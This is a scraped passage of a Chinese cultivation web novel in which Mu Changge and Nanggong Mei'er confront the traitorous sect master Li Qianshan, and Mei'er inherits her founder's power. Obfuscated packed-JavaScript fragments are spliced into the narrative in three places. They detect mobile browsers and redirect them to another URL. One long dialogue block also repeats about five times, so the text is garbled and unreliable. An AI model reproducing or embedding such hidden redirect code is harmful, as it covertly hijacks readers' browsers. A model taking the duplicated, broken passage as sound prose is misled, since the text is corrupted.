“我见过老不要脸的,像你这么老不要脸的,我只听过一个叫做轩辕大磐的家伙。 慕长歌来到南宫媚儿身前,“动我女人,你有那个实力吗? 厉千山脸上的笑意渐渐凝固,他用指尖抹去脸上的血珠,眼中寒芒乍现。 “区区小辈,也敢! 砰! 话音未落。 厉千山腹部狠狠挨了一拳,整个人躬作虾状。 他瞪大着眼,自己堂堂半步大乘强者,怎么可能被一个金丹五阶的蝼蚁,打出了痛感。 “敢什么? 慕长歌捏住他肩膀,“老东西,修炼修傻了吧,拿自己徒弟当炉鼎这种话也说得出口?另外你有点自恋过头了! “媚儿的成就来自于自身努力,即便没有你,她一样能走到今天这一步,不为别的 慕长歌拍拍他的肩膀,“只因她是我的女人! “师兄,你辛苦培育的白菜,就是让这小子给摘走了。 墨玄机连忙又道,“他还毁了咱们祖师在万情林布下的情,欲,心三座法阵! “找死! 厉千山面色阴沉如水,周身灵力剧烈波动。 阵法毁了他并不在意,他只在意南宫媚儿已非清白之身,如此修炼效果就减弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600768|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了许多。 他袖袍一挥,一道青色掌印凭空浮现,席卷着恐怖威势。 南宫媚儿惊呼,“夫君小心! 慕长歌不闪不避,血煞剑轻轻一划。 血色剑光与青色掌印相撞,爆 发出震耳欲聋的轰鸣。 慕长歌连退七步,却笑得从容,“半步大乘,不过如此。” “你到底是谁!” 厉千山从诧异中回过神,目光如阴冷的毒蛇,投射着慕长歌。 只是无论他怎么看,眼前之人始终是个金丹境的蝼蚁,任他如何都看不出深浅。 “既然你诚心诚意问了,我就大发慈悲地告诉你,为了防止咳!” 血煞剑在他指尖旋转,“行不更名,坐不改姓,我姓叶名也!” “叶也?” 厉千山眉头微皱。 他从未听过这号人物。 “哎~” 慕长歌咧嘴一笑,露出八颗白牙,“乖孙儿!” 噗嗤! 南宫媚儿一个没忍住笑了出来,连忙用袖子掩住红唇,但那弯成月牙的美眸已经出卖了他。 厉千山那张脸涨成了猪肝色,青筋暴起,“小畜生,你找死!” 他那身影如鬼魅般出现在慕长歌身后,一掌拍向了他的后心。 直到掌心穿过身影,厉千山才看出那是一道残影。 抬头看去,慕长歌已然嘴角带笑,闪到了上空。 “死!” 厉千山怒喝,双手掐诀,七十二道青色剑光,从四面八方刺向慕长歌。 叮叮叮! 慕长歌将剑影舞到密不透风,将所有剑光弹开。 火星四溅中,他一个俯冲,剑尖直指厉千山眉心。 轰! 两人在半空相撞,爆发出刺目光芒。 转眼间,已交手百余招,速度快到只剩下残影。 砰! 铛! 轰! 剧烈的碰撞引发空间震颤,下方观战之人不得不运功抵御余波。 南宫媚儿美眸紧锁战局,玉手悄然握紧。 她脑海闪过一道电光,掌心灵光闪烁,一枚玉简浮现其上。 就让她看看,祖师留下了什么传承。 玉指轻点,七情之力流转,禁制破开,一道璀璨的流光,没入了她的眉心。 第152章 碧落传承终觉醒,媚儿入定悟天机 南宫媚儿娇躯一颤,美目中泛起异样神采。 那流光在体内流转,一部分化作精纯灵力,一部分化作无数记忆碎片,充斥着她的识海。 随后,她看到了三千年前的画面。 碧落仙子与一位剑修并肩而立,共同对抗乌云魔尊,而那位剑修,就来自碧霄宫。 此外,碧落对那位剑修芳心暗许,奈何在这一战中双双陨落。 玉蟾察觉到南宫媚儿的异样,连忙上前,“宗主?” “替我**。” 南宫媚儿交代一句,挥手间幻化出一个蒲团。 她盘坐蒲团之上,周身泛起粉色霞光,玉蟾长老手持拂尘,警惕地守在一旁。 高空之中,厉千山与慕长歌凌空对峙。 “以你的修为,绝非寂寂无名之辈。” 厉千山眼中寒芒闪烁,“莫非道友不敢报个名号?” “说起来,你我应该属于一个时代。” 他剑尖轻佻,一道剑气划破长空,“我名慕长歌,来自碧霄宫。” 合欢宗的弟子们,纷纷露出恍然之色。 难怪他如此强大! 那可是北域第一仙道宗门! “我就说嘛,能配得上宗主的,怎么可能是个寻常人!” 玉蟾长老捋着白须,一脸得意。 看吧。 本长老早就猜到了! 突然他动作一顿,名字一样,身份背景也一样,那岂不是说,他就是云清璃的道侣了? 这么说. 他猛地转向正在入定的南宫媚儿,自家宗主这是嫁了个活了千余年的老头子?! “原来如此。” 厉千山脸色阴晴不定,“道友是要插手我合欢宗的事?” “谁让我夫人是宗主呢。” 慕长歌摊了摊手,“要不你告诉我怎么办,我也很为难啊,总不能眼睁睁看着自己女人被欺负?” “南宫媚儿,忤逆师命,擅与他人缔结道侣,废其宗主身份,逐出合欢宗。” 厉千山微笑着伸了伸手,“不知道友可还满意?” “不错,既然不是合欢宗的人了,那我可以随时带着她离开。” 慕长歌话锋一转,又道,“只是,你敢放我们走么?” 血煞剑突然指向厉千山,剑锋寒芒闪烁。 “但凡我们离开,你们勾结魔道的事可就瞒不住了。” 慕长歌露出一个意味深长的笑容,“所以,你不会放我们走,你在拖延时间, 你在等帮手。” “哦?” 厉千山眼中闪过诧异,“本座倒是好奇,道友既已知晓为何不逃,以你的修为,一心遁走的话,我没把握留下你。” “很简单。” 慕长歌挑眉一笑,“我也在等你的帮手。” 厉千山一愣,放声大笑。 “不愧是那座仙门中走出来的人物,果然够狂,其实我倒有个主意,对我们都有利,何必打打杀杀呢。” 他笑声戛然而止,“若道友有意,不妨留在合欢宗,从今以后,你我兄弟相称。” “怎么?这是想拉碧霄宫下水?” 慕长歌一声嗤笑,“厉千山,你未免太看得起自己了。” 血煞剑一转,剑锋上泛起血色雷光,“你也配与我称兄道弟?” 厉千山脸色布满阴云,又挤出一丝笑容。 “慕道友何必如此,我这身修为在北域也算说得过去。” 他不得不耐着性子,在那位帮手赶到之前,并不打算与慕长歌撕破脸皮。 可只要那个人赶到就不一样了,自是会对付他,而且那个人杀了他,跟他没任何关系。 “你算个屁!” 慕长歌语气中满是不屑,“你勾结魔道,残害同门,这样的你怎配与我相提并论?” 他剑尖指向下方倒在血泊中的弟子,“睁大眼睛看看他们,他们可都是你的徒子徒孙!” “修真界弱肉强食,为了宗门的延续,必要的牺牲罢了。” 厉千山闭了闭眼,探出了手掌,一股无形的力量,隔空摄住墨玄机,将他提到半空。 “师弟。” 厉千山的声音冰冷到不带温度,“为了合欢宗的传承,为兄就只能麻烦你死一**。” 墨玄机老脸瞬间惨白,眼中被惊恐填充。 他不敢相信,自己做了那么多,到头来却要**。 “你手上沾染了太多人的血。” 厉千山五指缓缓收紧,“应当偿命。” “师兄饶命!” 墨玄机疯狂挣扎,“你不能杀” 咔嚓! 声音清脆悦耳。 厉千山面无表情地一握拳,墨玄机的身体,如西瓜般爆开,化作漫天血雾。 “叛徒既已伏诛,不知道友可还满意?” 老东西,这手卸磨杀驴玩得可真溜,不就是看他是个废人了吗? “你以为这样就能洗清勾结魔道的罪名?” 慕长歌冷笑的嘴角掀起玩味 ,“不如你把这些魔修杀了如何?” 厉千山笑容凝固,未有动作。 “怎么?不敢?” 慕长歌剑眉一挑,忽然笑道,“或者你我联手干票大的,等你那帮手来了,我们一同联手干掉他?” 厉千山脸上肌肉抽搐。 他收回手,宽大袖袍无风自动,“道友可知,本座并非惧怕这天魔门,而是他们身后的东西。” “你想说魔巢?” 慕长歌说得随意。 “原来道友都知道。” 厉千山皱着眉头,“既然这样,就不必我再多费口舌,谁都不知道那魔巢中,还孕育了多少先天魔尊。” “与其做无谓的抵抗,不如谋取另外的生路。” 他低头看向合欢宗一众弟子,提高了声音,“本座这么做,皆是为保全尔等的性命!” “你的生路就是带着他们给别人当狗?” 慕长歌听后大笑,“厉千山,自从你萌生这个想法的那刻起,你已经坠入了魔道。” “先天魔尊是很强,可绝对不是不可战胜,曾经的正魔大战,就是很好的例子!” “只要我们团结,只要我们心无畏惧,即便他们强大,最终也要败在我们手下。” “吾辈修士,当自强,而非退缩,如此才能修成正道。” “我暂且不知那魔巢在何处,但那里必然受制于某种规则,里面的东西没那么容易走出来。” “还有,三千年前碧落仙子与我碧霄宫天元剑尊,拼死打杀了乌云魔尊,封印了他的本源!” “那些拼死一战的先辈们,有哪个不是为了给我们在争取时间!” 他剑锋一转,直指厉千山咽喉,“而你的做法,是在亲手毁掉这份牺牲!” “你问问他们,想拼死一战,还是想他们跟自己的后代,永远像条狗一样地摇尾乞怜!” 慕长歌探手指向下方一众弟子,厉声喝道,“厉千山,如果碧落仙子还活着,她该对你这样的后人多失望。” “即便只剩下一缕神念,也对你失望至极,所以你这样的人,该死!” ,“不如你把这些魔修杀了如何?” 厉千山笑容凝固,未有动作。 “怎么?不敢?” 慕长歌剑眉一挑,忽然笑道,“或者你我联手干票大的,等你那帮手来了,我们一同联手干掉他?” 厉千山脸上肌肉抽搐。 他收回手,宽大袖袍无风自动,“道友可知,本座并非惧怕这天魔门,而是他们身后的东西。” “你想说魔巢?” 慕长歌说得随意。 “原来道友都知道。” 厉千山皱着眉头,“既然这样,就不必我再多费口舌,谁都不知道那魔巢中,还孕育了多少先天魔尊。” “与其做无谓的抵抗,不如谋取另外的生路。” 他低头看向合欢宗一众弟子,提高了声音,“本座这么做,皆是为保全尔等的性命!” “你的生路就是带着他们给别人当狗?” 慕长歌听后大笑,“厉千山,自从你萌生这个想法的那刻起,你已经坠入了魔道。” “先天魔尊是很强,可绝对不是不可战胜,曾经的正魔大战,就是很好的例子!” “只要我们团结,只要我们心无畏惧,即便他们强大,最终也要败在我们手下。” “吾辈修士,当自强,而非退缩,如此才能修成正道。” “我暂且不知那魔巢在何处,但那里必然受制于某种规则,里面的东西没那么容易走出来。” “还有,三千年前碧落仙子与我碧霄宫天元剑尊,拼死打杀了乌云魔尊,封印了他的本源!” “那些拼死一战的先辈们,有哪个不是为了给我们在争取时间!” 他剑锋一转,直指厉千山咽喉,“而你的做法,是在亲手毁掉这份牺牲!” “你问问他们,想拼死一战,还是想他们跟自己的后代,永远像条狗一样地摇尾乞怜!” 慕长歌探手指向下方一众弟子,厉声喝道,“厉千山,如果碧落仙子还活着,她该对你这样的后人多失望。” “即便只剩下一缕神念,也对你失望至极,所以你这样的人,该死!” ,“不如你把这些魔修杀了如何?” 厉千山笑容凝固,未有动作。 “怎么?不敢?” 慕长歌剑眉一挑,忽然笑道,“或者你我联手干票大的,等你那帮手来了,我们一同联手干掉他?” 厉千山脸上肌肉抽搐。 他收回手,宽大袖袍无风自动,“道友可知,本座并非惧怕这天魔门,而是他们身后的东西。” “你想说魔巢?” 慕长歌说得随意。 “原来道友都知道。” 厉千山皱着眉头,“既然这样,就不必我再多费口舌,谁都不知道那魔巢中,还孕育了多少先天魔尊。” “与其做无谓的抵抗,不如谋取另外的生路。” 他低头看向合欢宗一众弟子,提高了声音,“本座这么做,皆是为保全尔等的性命!” “你的生路就是带着他们给别人当狗?” 慕长歌听后大笑,“厉千山,自从你萌生这个想法的那刻起,你已经坠入了魔道。” “先天魔尊是很强,可绝对不是不可战胜,曾经的正魔大战,就是很好的例子!” “只要我们团结,只要我们心无畏惧,即便他们强大,最终也要败在我们手下。” “吾辈修士,当自强,而非退缩,如此才能修成正道。” “我暂且不知那魔巢在何处,但那里必然受制于某种规则,里面的东西没那么容易走出来。” “还有,三千年前碧落仙子与我碧霄宫天元剑尊,拼死打杀了乌云魔尊,封印了他的本源!” “那些拼死一战的先辈们,有哪个不是为了给我们在争取时间!” 他剑锋一转,直指厉千山咽喉,“而你的做法,是在亲手毁掉这份牺牲!” “你问问他们,想拼死一战,还是想他们跟自己的后代,永远像条狗一样地摇尾乞怜!” 慕长歌探手指向下方一众弟子,厉声喝道,“厉千山,如果碧落仙子还活着,她该对你这样的后人多失望。” “即便只剩下一缕神念,也对你失望至极,所以你这样的人,该死!” ,“不如你把这些魔修杀了如何?” 厉千山笑容凝固,未有动作。 “怎么?不敢?” 慕长歌剑眉一挑,忽然笑道,“或者你我联手干票大的,等你那帮手来了,我们一同联手干掉他?” 厉千山脸上肌肉抽搐。 他收回手,宽大袖袍无风自动,“道友可知,本座并非惧怕这天魔门,而是他们身后的东西。” “你想说魔巢?” 慕长歌说得随意。 “原来道友都知道。” 厉千山皱着眉头,“既然这样,就不必我再多费口舌,谁都不知道那魔巢中,还孕育了多少先天魔尊。” “与其做无谓的抵抗,不如谋取另外的生路。” 他低头看向合欢宗一众弟子,提高了声音,“本座这么做,皆是为保全尔等的性命!” “你的生路就是带着他们给别人当狗?” 慕长歌听后大笑,“厉千山,自从你萌生这个想法的那刻起,你已经坠入了魔道。” “先天魔尊是很强,可绝对不是不可战胜,曾经的正魔大战,就是很好的例子!” “只要我们团结,只要我们心无畏惧,即便他们强大,最终也要败在我们手下。” “吾辈修士,当自强,而非退缩,如此才能修成正道。” “我暂且不知那魔巢在何处,但那里必然受制于某种规则,里面的东西没那么容易走出来。” “还有,三千年前碧落仙子与我碧霄宫天元剑尊,拼死打杀了乌云魔尊,封印了他的本源!” “那些拼死一战的先辈们,有哪个不是为了给我们在争取时间!” 他剑锋一转,直指厉千山咽喉,“而你的做法,是在亲手毁掉这份牺牲!” “你问问他们,想拼死一战,还是想他们跟自己的后代,永远像条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600769|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗一样地摇尾乞怜!” 慕长歌探手指向下方一众弟子,厉声喝道,“厉千山,如果碧落仙子还活着,她该对你这样的后人多失望。” “即便只剩下一缕神念,也对你失望至极,所以你这样的人,该死!” ,“不如你把这些魔修杀了如何?” 厉千山笑容凝固,未有动作。 “怎么?不敢?” 慕长歌剑眉一挑,忽然笑道,“或者你我联手干票大的,等你那帮手来了,我们一同联手干掉他?” 厉千山脸上肌肉抽搐。 他收回手,宽大袖袍无风自动,“道友可知,本座并非惧怕这天魔门,而是他们身后的东西。” “你想说魔巢?” 慕长歌说得随意。 “原来道友都知道。” 厉千山皱着眉头,“既然这样,就不必我再多费口舌,谁都不知道那魔巢中,还孕育了多少先天魔尊。” “与其做无谓的抵抗,不如谋取另外的生路。” 他低头看向合欢宗一众弟子,提高了声音,“本座这么做,皆是为保全尔等的性命!” “你的生路就是带着他们给别人当狗?” 慕长歌听后大笑,“厉千山,自从你萌生这个想法的那刻起,你已经坠入了魔道。” “先天魔尊是很强,可绝对不是不可战胜,曾经的正魔大战,就是很好的例子!” “只要我们团结,只要我们心无畏惧,即便他们强大,最终也要败在我们手下。” “吾辈修士,当自强,而非退缩,如此才能修成正道。” “我暂且不知那魔巢在何处,但那里必然受制于某种规则,里面的东西没那么容易走出来。” “还有,三千年前碧落仙子与我碧霄宫天元剑尊,拼死打杀了乌云魔尊,封印了他的本源!” “那些拼死一战的先辈们,有哪个不是为了给我们在争取时间!” 他剑锋一转,直指厉千山咽喉,“而你的做法,是在亲手毁掉这份牺牲!” “你问问他们,想拼死一战,还是想他们跟自己的后代,永远像条狗一样地摇尾乞怜!” 慕长歌探手指向下方一众弟子,厉声喝道,“厉千山,如果碧落仙子还活着,她该对你这样的后人多失望。” “即便只剩下一缕神念,也对你失望至极,所以你这样的人,该死!” ,“不如你把这些魔修杀了如何?” 厉千山笑容凝固,未有动作。 “怎么?不敢?” 慕长歌剑眉一挑,忽然笑道,“或者你我联手干票大的,等你那帮手来了,我们一同联手干掉他?” 厉千山脸上肌肉抽搐。 他收回手,宽大袖袍无风自动,“道友可知,本座并非惧怕这天魔门,而是他们身后的东西。” “你想说魔巢?” 慕长歌说得随意。 “原来道友都知道。” 厉千山皱着眉头,“既然这样,就不必我再多费口舌,谁都不知道那魔巢中,还孕育了多少先天魔尊。” “与其做无谓的抵抗,不如谋取另外的生路。” 他低头看向合欢宗一众弟子,提高了声音,“本座这么做,皆是为保全尔等的性命!” “你的生路就是带着他们给别人当狗?” 慕长歌听后大笑,“厉千山,自从你萌生这个想法的那刻起,你已经坠入了魔道。” “先天魔尊是很强,可绝对不是不可战胜,曾经的正魔大战,就是很好的例子!” “只要我们团结,只要我们心无畏惧,即便他们强大,最终也要败在我们手下。” “吾辈修士,当自强,而非退缩,如此才能修成正道。” “我暂且不知那魔巢在何处,但那里必然受制于某种规则,里面的东西没那么容易走出来。” “还有,三千年前碧落仙子与我碧霄宫天元剑尊,拼死打杀了乌云魔尊,封印了他的本源!” “那些拼死一战的先辈们,有哪个不是为了给我们在争取时间!” 他剑锋一转,直指厉千山咽喉,“而你的做法,是在亲手毁掉这份牺牲!” “你问问他们,想拼死一战,还是想他们跟自己的后代,永远像条狗一样地摇尾乞怜!” 慕长歌探手指向下方一众弟子,厉声喝道,“厉千山,如果碧落仙子还活着,她该对你这样的后人多失望。” “即便只剩下一缕神念,也对你失望至极,所以你这样的人,该死!” ,“不如你把这些魔修杀了如何?” 厉千山笑容凝固,未有动作。 “怎么?不敢?” 慕长歌剑眉一挑,忽然笑道,“或者你我联手干票大的,等你那帮手来了,我们一同联手干掉他?” 厉千山脸上肌肉抽搐。 他收回手,宽大袖袍无风自动,“道友可知,本座并非惧怕这天魔门,而是他们身后的东西。” “你想说魔巢?” 慕长歌说得随意。 “原来道友都知道。” 厉千山皱着眉头,“既然这样,就不必我再多费口舌,谁都不知道那魔巢中,还孕育了多少先天魔尊。” “与其做无谓的抵抗,不如谋取另外的生路。” 他低头看向合欢宗一众弟子,提高了声音,“本座这么做,皆是为保全尔等的性命!” “你的生路就是带着他们给别人当狗?” 慕长歌听后大笑,“厉千山,自从你萌生这个想法的那刻起,你已经坠入了魔道。” “先天魔尊是很强,可绝对不是不可战胜,曾经的正魔大战,就是很好的例子!” “只要我们团结,只要我们心无畏惧,即便他们强大,最终也要败在我们手下。” “吾辈修士,当自强,而非退缩,如此才能修成正道。” “我暂且不知那魔巢在何处,但那里必然受制于某种规则,里面的东西没那么容易走出来。” “还有,三千年前碧落仙子与我碧霄宫天元剑尊,拼死打杀了乌云魔尊,封印了他的本源!” “那些拼死一战的先辈们,有哪个不是为了给我们在争取时间!” 他剑锋一转,直指厉千山咽喉,“而你的做法,是在亲手毁掉这份牺牲!” “你问问他们,想拼死一战,还是想他们跟自己的后代,永远像条狗一样地摇尾乞怜!” 慕长歌探手指向下方一众弟子,厉声喝道,“厉千山,如果碧落仙子还活着,她该对你这样的后人多失望。” “即便只剩下一缕神念,也对你失望至极,所以你这样的人,该死!” 第153章 碧落显圣诛叛徒,厉千山罪行曝光 慕长歌话语如同惊雷炸响,在广场上回荡。 合欢宗的弟子们先是沉默,眼中紧跟着燃起了战意。 “我等愿与魔门拼死一战! 玉蟾长老第一个站出来,“老夫宁愿站着死,绝不跪着生! 气氛沉默了片刻。 玉蟾感到了尴尬,正想说些什么的时候,厉千山投来了目光。 “很好。 厉千山眼眸阴沉,“你想死,本座成全你! 扑通! 玉蟾腿一软,跪了下去。 “奇怪,老夫这腿忽然有点不听使唤了。 “…… 这时,青竹紧随其后,手中长剑直指苍穹。 “拼死一战! “拼死一战! 声浪如潮,越来越多的弟子站了出来。 他们眼中闪烁着不屈,那些倒在血泊中的同门,那些被残害的姐妹,都化作了他们胸中燃烧的怒火。 “老夫这腿忽然又硬了起来! 玉蟾哈哈一笑,挺直了腰板。 厉千山脸色阴沉如水,“慕长歌,你有什么资格对本座说教! “就凭这个! 慕长歌屈指一弹,打出一枚光球。 光球绽放出璀璨光芒,一道虚幻的身影逐渐凝成。 那是一位绝色女子,眉目如画,带着不怒自威的气势。 “是祖师! 玉蟾激动得老泪纵横。 “拜见祖师! 众弟子齐刷刷跪倒在地,声音哽咽。 碧落仙子的虚影缓缓睁眼,目光如电般射向厉千山,“孽障! 这一声厉喝,带着三千年的怒火。 厉千山浑身一颤,矗立在虚空上的双腿,不禁有些发抖,“祖师在上,第八代弟子厉千山,恭请教诲! “厉千山,你勾结魔道,残害同门,为求长生不惜坠入魔道! 碧落仙子的声音清冷如霜,“你可知罪? 厉千山面色惨白,很快又强自镇定。 “祖师明鉴,我所做一切,乃是为了宗门延续,绝非苟全自身.. “住口! 碧落仙子一声厉喝,虚空中突然浮现出无数画面。 那些画面是厉千山一直以来的种种恶行。 暗中与魔修勾结,残害门下弟子,以邪道之术亲手杀死自己的师父吸取功力,以此坐上宗主之位。 那一幕幕看在众人眼里,无不震撼着他们的 眼球。 直到今日,玉蟾那些长老才知道,之前的那位宗主,不是死于走火入魔,而是被厉千山所杀。 “今日,本座以合欢宗开山祖师之名,将你这等不忠,不孝,不义之徒逐出师门。 碧落仙子的声音响彻云霄,“并诛杀其身,泯灭其魂!由第九代宗主南宫媚儿清理门户,明正典型! 随着碧落仙子的宣判,她那身影化作了星光点点。 众弟子看着这一幕,无不感到伤感。 若是他们的祖师还在,又何至于被魔门欺负到这等地步,又何至于被宗门内的叛徒搅到了乌烟瘴气。 他们又想到了慕长歌那句,吾辈修士,当自强! 自身软弱可欺,又何必怨天尤人! 与此同时。 蒲团上闭目盘坐的南宫媚儿,周身骤然绽放出耀眼的粉色灵光。 她身后的法相急速膨胀,五道光轮疯狂旋转,在众目睽睽之下,**出第六道,第七道光轮。 轰! 一股磅礴的气息冲天而起。 南宫媚儿的修为正处于节节攀升。 法相六阶七阶八阶九阶十阶巅峰 在场之人无不看得目瞪口呆,倒是慕长歌,嘴角微扬,似乎并未有过多的诧异。 果然如此。 碧落留下的那根本就不是玉简,而是以秘法封印的传承,所谓的传承就是她自身大部分实力。 若要传功自然没有那么简单,碧落先是将自身修为,重新凝练为精纯的灵力,以供后人吸收。 同样是依托合欢宗**偏向柔和的特殊性,倘若为碧霄宫**,以及其他霸道的法门。 即便凝练为精纯的灵力,也不会取得很好的炼化吸收之效,反倒有可能两股灵力相互排斥,最终爆体身亡。 另外,碧落是怕他窃取传承,所以将传承以玉简的形式作为伪装,再由他转交给南宫媚儿。 如果南宫媚儿自己去过那几关阵法,恐怕早就见到了那位祖师,并且得到了里面的传承。 也就是南宫媚儿的灵力与碧落较为相似,换个人得到这份传承,必定做不到最大化利用。 她的修为还在飞速提升中,那法相的光轮最终达到了九**圆满,又九轮合一,化作耀眼的光芒,融入南宫媚儿体内。 又是一股滔天气势骤然而起,她的修为直入洞虚境。 洞虚一阶.二阶三阶 这一刻,就是慕长歌看得都有些傻眼。 如果说碧落将自身大部分传承 留给了南宫媚儿,他能理解。 毕竟自己就算是媚儿的道侣,也获得了碧落的认可,最多也就得到了四成好处。 可南宫媚儿已然踏入洞虚之境,为何没有天劫降临? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638225|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “叮!检测到宿主疑惑,系统自动解答!” “凡是与宿主进行过双修,且建立双修羁绊的女子,都可免除天劫,并且她们的修为进境会以非常恐怖的速度增加。” “因此宿主的所作所为并非海王,更无需有心理负担,这是双赢,宿主获得了好处,同样给了她们机遇!” “……” 慕长歌又问,“成仙天劫也行?” “……” 系统稍作沉默,机械音才再次响起,“唯独登仙天劫不行,因需打开登天路,不过宿主放心,她们渡劫时的难度将是别人的三倍!” “那就好” 慕长歌反应过来后,嘴角微抽,“系统,我要是没听错,你是说她们渡登仙天劫的困难是别人的三倍?” “只是三倍,宿主无需忧心,死不了,更不会让她们死,非但如此,度过天劫踏上飞升路,她们的底蕴非寻常之仙。” “你这么牛?” 慕长歌在心里翻了个白眼。 “不是我牛,是宿主比较牛!” “另外本系统非常欣赏宿主这种未雨绸缪的精神,提升修为最快的方式,就在于攻略气运之女,建立双修羁绊,以气运证道!” 系统已然没了声音。 正如系统所说,他积累气运值,不急着兑换成修为,是想等到踏入上界那日,一次性进行兑换。 如此,在上界短时间内,应该能够拥有自保之力。 慕长歌收敛心神,视线再次回到南宫媚儿身上,他眉头微皱,分散出两道气息,分别锁定住两个人。 厉千山有所感知,只是轻哼一声,另外一道平静如湖水。 某一刻。 南宫媚儿气息停止了增长。 她缓缓睁开双眸,站起了身子。 尽管将气息内敛,距离她最近的玉蟾依旧全身发颤。 “洞洞虚九阶!” 这就是祖师的传承么? 竟然让他们的宗主从原本的法相,跨越到了这等程度。 其余长老以及门中弟子无不骇然,又难掩脸上的激动。 南宫媚儿抬起了头,视线直冲厉千山。 “南宫媚儿,恭领祖师圣令!” 她清喝一声,喝声蕴含着前所未有的威严。 那月白留仙裙下的修长美腿,绽放着耀眼光泽,直晃眼,又神圣不可侵犯。 “不可能为什么我得不到祖师的传承,为什么会是你为什么!” 厉千山脸色巨变,厉声嘶吼。 南宫媚儿美眸犀利如剑,“即日起,你我之间师徒之情恩断义绝,由我代祖师.清理门户!” 第154章 七情合道显神威,忘情剑出斩红尘 嗖! 南宫媚儿身影消失原地再次出现时已然来到半空。 “夫君他交给我。” 她目不斜视盯紧了厉千山。 衣裙随风而动两条修长美腿笼罩在朦胧仙光之内。 慕长歌笑着点头“一个人行不行这家伙有点不好搞。” “用你的一句话任何时候都行!” 南宫媚儿展颜一笑“夫君已经帮了我许多若祖师的交代我都无法完成想来日后也没资格再做夫君的女人。” 她修为大幅度提升依旧看不透慕长歌的真实修为。 此前她虽是在炼化祖师赋予她的灵力心神却在感知着慕长歌与厉千山的交手。 她看得出来厉千山似乎很忌惮。 无论是慕长歌的背景还是他自身的修为都让厉千山不敢肆意妄为。 而且他曾经的道侣是整个北域最为杰出的云清璃她南宫媚儿尽管算做后辈但做了他的女人就不想落后其他女人。 “一码归一码我是你的夫君依靠我又有何不可?” 慕长歌笑吟吟地看着她“我一个大男人如若护不住自己的女人岂不要被笑掉大牙?” “嗯” 南宫媚儿沉吟片刻俏皮一笑“夫君是我的后盾有你在媚儿心无所惧。” 啵! 趁着慕长歌呆愣她朱唇迅速轻点了一下。 下一秒。 已然出手。 她玉手轻抬一道粉色锁链凭空浮现缠绕住了厉千山的四肢。 “师父我最后一次这样叫你是你将媚儿带到的合欢宗是你让我踏上了修仙路恩情媚儿不敢忘只是.” 南宫媚儿看向他的眼神愈发坚定“大错一旦铸成就无法挽回虽然你想利用我成全你自己我死不足惜但!” “我亦是合欢宗弟子如今乃是一宗之主有些事不得不做。” 她深吸一口气“还请厉千山前辈赴死!” “七情锁魂链?!” 厉千山眉头微皱“祖师竟然将这份传承也给了你可惜凭这个困不住我。” 他周身灵力暴涨一道青色光轮在背后浮现将那粉色锁链寸寸崩断。 南宫媚儿不慌不忙玉指轻点 花瓣纷飞间化作锋利刀刃。 厉千山袖袍挥舞青色灵力化作漫天柳叶与花瓣激烈碰撞。 叮叮叮! 金铁交鸣之声响彻云霄。 两人身影交错,眨眼间已过百招。 南宫媚儿突然变招,玉足轻踏虚空,一道粉色涟漪荡漾开来。 无数细如发丝的光线自涟漪中迸发,缠绕住厉千山的四肢。 “破!” 青色灵力如潮水涌出,将丝线震碎,他趁机欺身而上,一掌拍向南宫媚儿肩头。 南宫媚儿不闪不避,硬接一掌。 同时玉手成爪,直取厉千山咽喉,后者反应极快,以剑指迎了上去,点在那玉手的掌心。 两人同时闷哼,各自后退数步。 “好!” 厉千山负手而立,笑看佳人,“不愧是为师最得意的弟子!” “这一掌,我留了二成力,是还你当年知遇之恩。” 她月白留仙裙上染上一抹鲜血,却依旧挺直腰背,“接下来,是为那些枉死之人!” “明月照大江!” 南宫媚儿双手结印,身后浮现出一轮明月虚影。 皎洁月光倾斜而下,所过之处空间为之凝固,厉千山脸色微变,急忙掐诀。 一座青色山岳拔地而起,与月光相撞。 轰! 气浪翻滚,两人同时倒飞出去。 南宫媚儿在空中优雅转身,玉足轻点,稳稳落在虚空,厉千山则踉跄数步才稳住身形。 他眼中闪过一丝诧异,“不错,竟能为与为师打到这般程度,你足以自傲了。” 南宫媚儿不答,玉手轻挥,九朵合欢花合二为一,化作一柄粉色长剑。 剑光如虹,直取厉千山眉心,后者掐诀,浮现一枚光遁。 两者相撞,爆发出刺目光芒。 南宫媚儿攻势不减,剑势连绵不绝,每一剑皆是带有斩断红尘之决绝。 厉千山且战且退,抓住南宫媚儿一个破绽,一指点向她的手腕。 那股冲击的力道,险些让手中的忘情剑脱手而出,但反应极快,左掌顺势拍出。 砰! 厉千山胸口结结实实挨了一掌,嘴角溢出一丝鲜血。 两人再次拉开距离,各自调息。 “收手吧。” 南宫媚儿轻声道。 厉千山狞笑,“怎么,想认输?” “不。” 她摇头,“只是给你最后一次机会。” “哈哈哈!” 厉千山仰天大笑,“你以为得了祖师传承,就能赢得了为师?” 